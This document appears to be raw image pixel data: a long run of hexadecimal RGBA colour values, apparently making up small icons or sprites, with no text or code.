C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF98B89FFFDAFFE6FFD5FFE3FFDDFF
F0FF74DC42FF4BCA00FF50CB01FF50CB01FF50CB01FF50CB01FF50CC01FF50CA
01FF50CA02FF4FCB01FF51D200FF5F8A47FF368937FF2ABA2BFF2AB82BFF2BB7
2CFF2BB72CFF2BB72CFF2BB72CFF2BB72CFF2BB72CFF2BB72CFF2BB72CFF2BB7
2CFF2BB72CFF2AB82BFF2BBC2CFF548354FFC1C1D9FFDEDFFFFFDFE0FFFFDFE0
FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0
FFFFDFE0FFFFDFE0FFFFDEDFFFFFB4B4C4FF402BADFF3C18F6FF3C18F2FF3C18
F1FF3C18F3FF3C19F2FF3C19F2FF3C19F2FF3C19F2FF3C19F2FF3C19F2FF3C18
F3FF3C18F1FF3C18F2FF3D18F9FF5A4E98FFA7BCACFFE2FFEAFFDEFFE6FFE7FF
F5FF7BD048FF52BE02FF57C009FF57C009FF57C009FF57C009FF57C009FF57C0
09FF56C008FF56C007FF57C405FF618A46FF3A893AFF30AD30FF31AB32FF32AC
33FF33AC33FF33AC33FF33AC33FF33AC33FF33AC33FF33AC33FF33AC33FF33AC
33FF32AC33FF31AB32FF30AE31FF558355FF7779CAFF7376E9FF7478E9FF7577
E9FF7577E9FF7579E9FF7579E9FF7579E9FF7579E9FF7579E9FF7579E9FF7577
E9FF7477E9FF7478E9FF7375E9FF8385B9FF422DABFF3B19E2FF3D1ADFFF3E1B
DFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1B
DFFF3E1CDFFF3D19DFFF3C18E5FF5A4E98FFAFB9B1FFF1FFF5FFEDFFF1FFF6FF
FFFF86CE4CFF5ABB04FF5FBE0CFF5FBE0CFF5FBE0CFF5FBE0CFF5FBE0CFF5FBE
0CFF5EBC0BFF5DBD08FF5FC007FF668849FF3F853CFF35A935FF37A734FF38A8
37FF39A836FF39A836FF39A836FF39A836FF39A836FF39A836FF39A836FF39A8
36FF38A835FF37A734FF36AA34FF578056FF8E8FCDFF9395EEFF9496EDFF9497
EDFF9597EDFF9597EDFF9597EDFF9597EDFF9597EDFF9597EDFF9597EDFF9597
EDFF9497EDFF9596EDFF9295EEFF9294BBFF412DA6FF3B17DFFF3C15E3FF3D16
E5FF3E17E5FF3E17E5FF3E17E5FF3E17E5FF3E17E4FF3E17E5FF3E17E5FF3E17
E5FF3D16E5FF3C15E3FF3C18E0FF5A4E94FFB6B9B7FFFDFFFEFFF9FFFAFFFFFF
FFFF90CD51FF60B907FF65BB0FFF65BB0FFF65BB0FFF65BB0FFF65BB0DFF65BC
0EFF64BA0EFF63BB0CFF64BE09FF678649FF40843DFF3BA935FF3CA736FF3DA6
36FF3DA638FF3DA838FF3DA838FF3DA838FF3DA838FF3DA838FF3DA838FF3DA6
38FF3DA637FF3BA734FF3BAB34FF5A7E58FFA9ABD1FFBFBFF4FFBEC0F4FFC0C1
F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1
F4FFC0C1F4FFBEC0F4FFBEC0F4FFA5A5BFFF402BA2FF3C24C1FF449700FF4390
06FF448F07FF448F07FF448F07FF398900FF439007FF448F07FF448F07FF448F
07FF438F05FF439001FF3A0DEDFF5B4E90FFB9B9B9FFFFFFFFFFFEFFFEFFFFFF
FFFF92CC53FF63B907FF68BB0EFF68BB0EFF68BB0EFF68BB0EFF68BB0FFF68BB
0DFF67BB0CFF66BA0AFF67BF07FF698649FF3A25A5FF2B0BE1FF2E0FDEFF2F10
DEFF2F11DEFF3011DEFF3011DEFF3011DEFF3011DEFF3011DEFF3011DEFF2F11
DEFF2F10DEFF2D0EDEFF2B0BE4FF554993FF5963D1FF4553F7FF4756F6FF4857
F6FF4957F6FF4957F6FF4957F6FF4957F6FF4346E1FF4346E1FF4346E1FF4346
E1FF4247E1FF4044E1FF3E41E1FF7174B7FF422CA2FF3C24C0FF428B00FF4284
0DFF43860DFF45850EFF387B00FFC5D9B4FF6D9F43FF41830AFF45860EFF4486
0DFF43850BFF428707FF3A0DECFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF93D04DFF65BF00FF69C106FF69C106FF69C106FF69C106FF69C106FF69C0
07FF69C005FF67C103FF68C500FF698847FF3A2C9DFF311DD4FF311CD0FF2F1D
D0FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF301E
D1FF311DD1FF2F1BD1FF2C18D6FF554E8DFF9D4E32FFB43805FFB33708FFAE3A
0DFFAD3C12FFAD3D12FFAD3D12FFA72C00FFFFFFFFFFFCFDFEFFFCFDFEFFFCFD
FEFFFCFDFEFFFDFCFEFFFCFDFEFFBDBDC3FF432CA3FF4128C3FF448E00FF4383
0EFF458610FF3F8208FF84AD5FFFA4C38AFF397C01FF458610FF458610FF4486
0FFF43850CFF428707FF3A0DECFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF6753EAFF2407E1FF2B0EE3FF2B0FE3FF2B0FE3FF2B0FE3FF2B0FE3FF2B0F
E3FF2A0EE3FF290CE3FF2709E8FF544994FF3B2F9EFF3620D5FF3823D3FF3622
D2FF311ED0FF301DD0FF311ED1FF321FD1FF321FD1FF321FD1FF321FD1FF301E
D1FF311DD1FF2F1BD1FF2C18D6FF554E8DFFAE4928FF5C938EFF678C85FF995C
39FFB53C09FFB73906FFB33E0BFFBB3D00FF2D3DF3FF363BDEFF363BDEFF363B
DEFF353ADEFF3439DEFF3134DEFF6C6EB7FF432CA3FF452BC4FF4A9401FF498A
11FF44840FFF3E8108FF82AD5EFFA4C38DFF387B00FF458610FF458610FF4486
0FFF43850CFF428707FF3A0DECFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF7565E0FF321FD1FF3521D1FF311DD0FF301DD0FF301DD0FF301DD0FF2F1C
D0FF2F1BD0FF2D19CEFF2C18D5FF564E8DFF3F31A9FF3D24E8FF3F26E5FF4028
E5FF3F29DDFF3B27DEFF3521D5FF311DD4FF301CD3FF301CD3FF321EDCFF321E
D9FF321DE1FF321BE1FF311AE7FF564F94FF6E807AFF668C82FFC43C00FFB54B
17FF639894FF698C85FFB14415FFB03200FFCBD7FFFFCBCBF6FFCBCBF6FFCBCB
F6FFCBCBF6FFC9CBF5FFCACCF6FFABACC1FF452EA3FF482DC5FF4E9501FF4F8E
14FF4F8E15FF4B8C14FF3A7D01FFC2D6B1FF6D9F47FF40820AFF43840FFF4284
0EFF41840CFF408507FF3A0DECFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF7667E1FF3924D4FF3F2BD6FF3F2CD6FF3E2AD5FF3C28D5FF3B28D3FF3B27
D3FF3C27D5FF3C26D5FF3E26DBFF564F8FFF232520FF0C0E00FF0F1100FF1113
02FF271F66FF201C3FFF3527A2FF322494FF312594FF3425A4FF18161FFF241C
5DFF0F1200FF0F1001FF0C0E00FF484947FF40ABBDFFB94A0FFFBE480AFF9172
54FF0AE3FFFF0EE0FFFF986D4DFFC04500FF8895FFFF8B8DEBFF8A8CEBFF8A8C
EBFF8A8DEBFF8B8DEDFF8C8EEDFF8D8FBBFF452EA3FF4B32C4FF52A200FF529B
03FF539A04FF539C04FF549C04FF4A9500FF4F9900FF509902FF4F9802FF4F98
03FF509800FF509B00FF4C1BF1FF5B4F8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF7668E2FF3C25D5FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF252525FF101010FF131313FF1213
0CFF2E2282FF251E52FF322492FF462FEDFF462EE4FF291F64FF2F227CFF231C
4FFF13140FFF131313FF0F0F0FFF494949FF658987FF79836BFFC64301FFBA50
18FF57A7A9FF5FA09EFFB9511AFFC04901FF8390FFFF888AECFF888AECFF868A
ECFF878AECFF8588ECFF8388EBFF898CBBFF452FA0FF4D23E0FF4D20E8FF4E22
E9FF4F23E9FF4F23E9FF4F23E9FF4F23E9FF4F23E9FF4F23E9FF5023E9FF5023
E9FF4E22E8FF4E21E7FF4D25DFFF5B4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF7766E2FF3A22D5FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF232323FF0B0B0BFF0E0E0EFF1010
0FFF0E1008FF2E208FFF291C74FF1C163FFF1C163EFF2F2093FF251B65FF0E0F
06FF101010FF0E0E0EFF0A0A0AFF474747FFAD4C27FF4BA8A8FF6B9184FFA067
3BFFBB4F13FFBE4D0EFFBC4F0FFFBA4400FFD8E2FFFFD7D9F9FFD7D8F9FFD7D9
F9FFD7D7F9FFD6D8F9FFD7D7F8FFADAEC1FF462FA1FF4D23DEFF4D25DAFF4E26
DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4E27
DAFF4E26DAFF4D24DAFF4E23E1FF5A4D8EFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFF8B7AE6FF5440DBFF5945DCFF5945DCFF5945DCFF5945DCFF5946DCFF5844
DCFF5845DCFF5744DCFF5945E0FF615B9CFF2F2F2FFF333333FF313131FF3333
33FF333332FF303126FF3D385AFF463C7AFF453B76FF373542FF313229FF3333
33FF333333FF313131FF323232FF555555FFA85733FFD56128FFD06129FFCC65
2EFFC9632EFFC7632EFFC7632EFFD0611BFF5A68FFFF6367F0FF6367F0FF6468
F0FF676CF2FF676BF2FF666AF2FF7274BBFF4D38A7FF6746E2FF6342E0FF6443
E0FF6445E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6445
E0FF6443E0FF6343E0FF6644E4FF675B9DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBFFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF3B50A7FF3455EAFF3454E5FF3453
E5FF3354E5FF3554E5FF3554E5FF3554E5FF3554E5FF3554E5FF3554E5FF3354
E5FF3453E5FF3354E5FF3454EDFF576493FFAE9B23FFF8D707FFF5D207FFF4D2
08FFF4D208FFF4D208FFF4D208FFF4D208FFF4D208FFF4D208FFF4D208FFF4D2
08FFF5D208FFF5D207FFFBD907FF988E49FF2B742CFF149816FF159616FF1496
17FF159517FF159717FF159517FF159517FF159517FF159517FF159517FF1495
17FF149617FF139616FF149A17FF4E774EFF2D66A6FF2237DEFF2044DEFF2146
DEFF2046DEFF2144DEFF214CE0FF10F5FFFF10F6FFFF2148DFFF2145DEFF2046
DEFF2146DEFF2044DEFF2239E1FF4F6E92FF3E48A3FF3346D5FF3546D3FF3647
D3FF3748D3FF3748D3FF3748D3FF3748D3FF3748D3FF3748D3FF3748D3FF3748
D3FF3647D3FF3546D3FF3446D7FF565E94FFAD9623FFE8BF0AFFE4BC0CFFE5BD
0DFFE5BD0CFFE5BD0EFFE5BD0EFFE5BD0EFFE5BD0EFFE5BD0EFFE5BD0EFFE5BD
0CFFE5BD0DFFE4BC0BFFEAC008FF9A8C49FF2A722FFF12881BFF14881DFF1589
1EFF16891FFF16891FFF15891FFF13871DFF15891EFF16891FFF16891FFF1589
1FFF15891EFF14881DFF128A1BFF4C764DFF2AB8BCFF19B8F5FF2732D1FF2836
D1FF293DD3FF293DD3FF2A2DCFFF19DDFAFF1AD8F9FF2A2ECFFF293DD3FF293D
D3FF2836D1FF2733D1FF1ABFF8FF4A9DA0FF3D429DFF343ACEFF363CCCFF373D
CCFF383ECDFF383ECDFF383ECDFF383ECDFF383ECDFF383ECDFF383ECDFF363E
CDFF373DCCFF363BCCFF333AD1FF575B8FFFA88B23FFE4B308FFE1B20AFFE1B1
0CFFE1B10DFFE1B10DFFE1B10DFFE1B10DFFE1B10DFFE1B10DFFE1B10DFFE1B1
0DFFE1B10CFFE1B20AFFE6B607FF968549FF266C2FFF10821EFF128120FF1383
22FF148222FF0E801DFF077916FF228A2FFF0B7C1BFF0B7C1AFF148222FF1282
22FF138322FF108220FF0F831DFF4D7250FF354CA2FF1CBDF4FF1AEDFCFF2954
D9FF2F28D0FF2E35D3FF2F2AD0FF21B5EFFF21B0EDFF2F2AD0FF2E35D3FF2F28
D0FF2958DAFF18EEFEFF1DBAF7FF536291FF3D3A9BFF332FCFFF3432CCFF3533
CCFF3732CCFF3632CCFF3634CCFF3633CCFF3633CCFF3634CCFF3632CCFF3732
CCFF3533CCFF3532CBFF3230D0FF58588DFFA7841FFFE1A903FFDFA605FFDFA7
07FFDFA708FFDFA708FFDFA708FFDFA708FFDFA708FFDFA708FFDFA708FFDFA7
08FFDFA707FFDFA605FFE4AA02FF948047FF266831FF0C7A20FF107A23FF117B
22FF0A781EFF42974FFFADD1B1FFBFDAC1FFB6D5B8FF6AAD72FF067519FF107B
24FF117A23FF107922FF0D7C1FFF4A6F50FF3A359DFF2F1ACFFF2D46D7FF23C6
F4FF279CEAFF3222CDFF3323CEFF298BE6FF2986E4FF3323CEFF3222CDFF27A1
EBFF23C3F3FF2D41D6FF301BD2FF55538DFF4C6520FF4D7500FF4D7300FF4E76
00FF4E7600FF4F7700FF4F7700FF4F7700FF4F7700FF4F7700FF4F7700FF4E76
00FF4E7500FF4C7400FF4D7500FF5F6D47FFBBBEC8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A5FF266632FF0B7821FF0F7722FF0E78
23FF0A7520FF8BBB92FF93C09BFF469654FF88BA8EFF8EBD95FF2B893CFF0D76
22FF107824FF0D7723FF0B7920FF496E50FF3C2E9BFF301CD0FF321BCEFF3312
CAFF3148D6FF289CEAFF3237D2FF2981E5FF2B7AE4FF3239D3FF289CEAFF3144
D6FF3313CAFF321ACCFF301BD3FF564E8CFF4C6224FF4F740CFF4D700DFF4B70
0EFF4E7210FF4E7210FF4E7210FF4E7210FF4E7210FF4E7210FF4E7210FF4C71
0FFF4D700EFF4B6F0CFF4A7009FF5F6B49FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF256733FF0E7C26FF107824FF0C76
21FF288739FFFFFFFFFFFFFFFFFFF4F8F4FFFFFFFFFFFFFFFFFF68AA73FF0874
1DFF107924FF0E7823FF0B7920FF496E50FF3395B2FF28B3F3FF279BEAFF298A
E5FF2C71E0FF2F54D9FF2A82E5FF21E9FCFF21EAFCFF2A7CE4FF2F56DAFF2C72
E0FF288AE5FF259CEAFF21B3F6FF50899AFF4C6325FF52760EFF547611FF5275
10FF4D700EFF4C700EFF4D710FFF4E710FFF4E710FFF4E710FFF4E720FFF4C70
0EFF4D6F0DFF4B6F0BFF4A7008FF5F6B49FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF266833FF108128FF13812BFF137C
2AFF06731AFF62A56DFF539C5EFFFFFFFFFF8ABB92FF69AA74FF0F7822FF0F77
23FF107924FF0E7823FF0B7920FF496E50FF348CB1FF2CA4F0FF2F90E7FF307D
E4FF2D5FDBFF3043D5FF2982E5FF21EBFCFF21EBFDFF2A7BE4FF3144D5FF2E61
DCFF2B77E2FF288BE6FF24A1F2FF508399FF506020FF5A7400FF5A7201FF5B74
03FF5D7605FF597302FF546E00FF516A00FF506B00FF506B00FF506B00FF506A
00FF4F6900FF4E6700FF506A00FF606947FFC3C4B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF266935FF11842BFF15842EFF1783
2DFF1D8E48FF097B25FF4D9D5CFFFFFFFFFF81B78AFF006B0FFF148544FF0F77
21FF0F7722FF0C7621FF0B7920FF4A6E50FF3F329CFF3C28D5FF3E27D2FF401F
CFFF3B65DEFF30A5ECFF3731D2FF2A75E2FF2972E1FF312ED1FF27A0EBFF2C57
DAFF3311CBFF311ACBFF2F1DD3FF564F8CFF2E98C7FF23CCFFFF25C9FFFF27C9
FFFF28CAFFFF28CBFFFF28CBFFFF29CBFFFF28CAFFFF25C9FFFF24C9FFFF24C9
FFFF24C9FFFF25C9FFFF23CFFFFF4F8AA5FF3533B0FF312DF3FF312FEFFF3230
EFFF3331EFFF3331EFFF3331EFFF3331EFFF3230EFFF2F2DEFFF2E2CEFFF2E2C
EFFF2E2CEFFF2E2CEFFF302EF6FF515198FF286A35FF12882FFF168531FF1887
32FF17852FFF1F904BFF13842BFF229661FF0C7D21FF20904FFF15822AFF1784
2FFF16852FFF158531FF118A2FFF4A7053FF3F369EFF4024D5FF3A5FDEFF30D9
F8FF3891E8FF432BD2FF4330D3FF3997E9FF3891E8FF402CD2FF3F27D1FF3495
E9FF2ED4F7FF3A5CDDFF4026D8FF58538EFF3292B8FF2AC6FFFF2CC4FDFF2EC3
FDFF2FC3FDFF2FC3FDFF2FC3FDFF2FC3FDFF2FC3FDFF2FC4FDFF2FC4FDFF2EC4
FDFF2EC4FDFF2BC4FDFF29C9FFFF50869EFF4141B1FF4643F6FF4745F2FF4846
F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947
F2FF4846F2FF4745F2FF4644F9FF585899FF266A35FF128931FF168933FF198A
34FF1A8A35FF198933FF1A8934FF198A37FF1A8A34FF198933FF1A8A35FF198A
35FF188934FF168933FF128B30FF497051FF3C53A5FF2ED4FBFF2EE5FBFF414C
DBFF4331D4FF443CD7FF4530D4FF35BDF2FF36B7F1FF4531D4FF443CD7FF4431
D4FF404FDBFF2EE8FBFF30D2FDFF556391FF3192B8FF27C7FFFF28C5FDFF2AC6
FDFF2CC6FDFF2BC6FDFF2BC6FDFF2BC6FDFF2BC6FDFF2BC6FDFF2BC6FDFF2CC6
FDFF2AC5FDFF28C5FDFF27CAFFFF4E869CFF4140B1FF4644F6FF4644F2FF4845
F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846
F2FF4745F2FF4643F2FF4644F9FF575797FF246B34FF0E8B2FFF118931FF138A
32FF148A33FF148A33FF148A33FF148A32FF148A33FF148A33FF148A33FF148A
33FF138A32FF11892FFF0D8C30FF486E52FF31B6B9FF33A7F2FF422AD3FF4236
D6FF423AD7FF423AD7FF442AD3FF2EE1FBFF30DEF9FF442AD4FF423AD7FF423A
D7FF4235D6FF412BD4FF32AEF5FF4E9C9DFF3A98BFFF48D0FFFF45CCFFFF47CD
FFFF46CDFFFF46CDFFFF46CDFFFF46CDFFFF46CDFFFF46CDFFFF46CDFFFF46CD
FFFF47CDFFFF46CCFFFF47D0FFFF5C95ACFF4948B7FF605FF9FF5D5BF5FF5E5C
F5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5C
F5FF5E5CF5FF5D5BF6FF605DF9FF6464A7FF32703EFF369B4EFF35994CFF3699
4DFF36984DFF369A4DFF369A4DFF369A4DFF369A4DFF379A4DFF369A4DFF3698
4DFF36994DFF34994CFF359B4CFF557C5DFF445CA9FF5D47DDFF5951DDFF5A53
DDFF5A53DDFF5A53DCFF595BDEFF48F2FFFF48F3FFFF5B56DDFF5A53DCFF5A53
DDFF5A53DDFF5951DDFF5D47DEFF616C9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF4D971EFF54CD00FF53CA01FF52CA
02FF54C901FF54C901FF54C901FF54C901FF54C901FF54C901FF54C901FF54C9
01FF53CA02FF53CA01FF55CF00FF618B47FF3F2A96FF3008E3FF2F08DDFF3009
DEFF2F0ADEFF2F0ADEFF2F0ADEFF2F0ADEFF2F0ADEFF2F0ADEFF2F0ADEFF2F08
DEFF3009DEFF2F08DDFF3008E4FF55498CFF44971EFF41CD00FF41CA01FF41CA
02FF41C901FF41C901FF41C901FF41C901FF41C901FF41C901FF41C901FF41C9
01FF42CA02FF41CA01FF42CF00FF5C8B47FF3846ACFF2D42F3FF2D41EEFF2D41
EEFF2D42EEFF2E42EEFF2E42EEFF2E42EEFF2E42EEFF2E42EEFF2E42EEFF2D42
EEFF2D41EEFF2D42EFFF2E43F6FF545D97FF4D8F1FFF4FB504FF4FB307FF51B3
08FF51B309FF51B309FF51B309FF51B309FF51B309FF51B309FF51B309FF51B3
09FF50B308FF4FB207FF50B605FF618845FFBFC2B2FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA8ABA0FF448F1FFF3CB504FF3EB307FF3FB3
08FF40B309FF40B309FF40B309FF40B309FF40B309FF40B309FF40B309FF40B3
09FF3FB308FF3EB207FF3DB605FF5A8845FF393EA9FF2D32DFFF2E34DCFF2F35
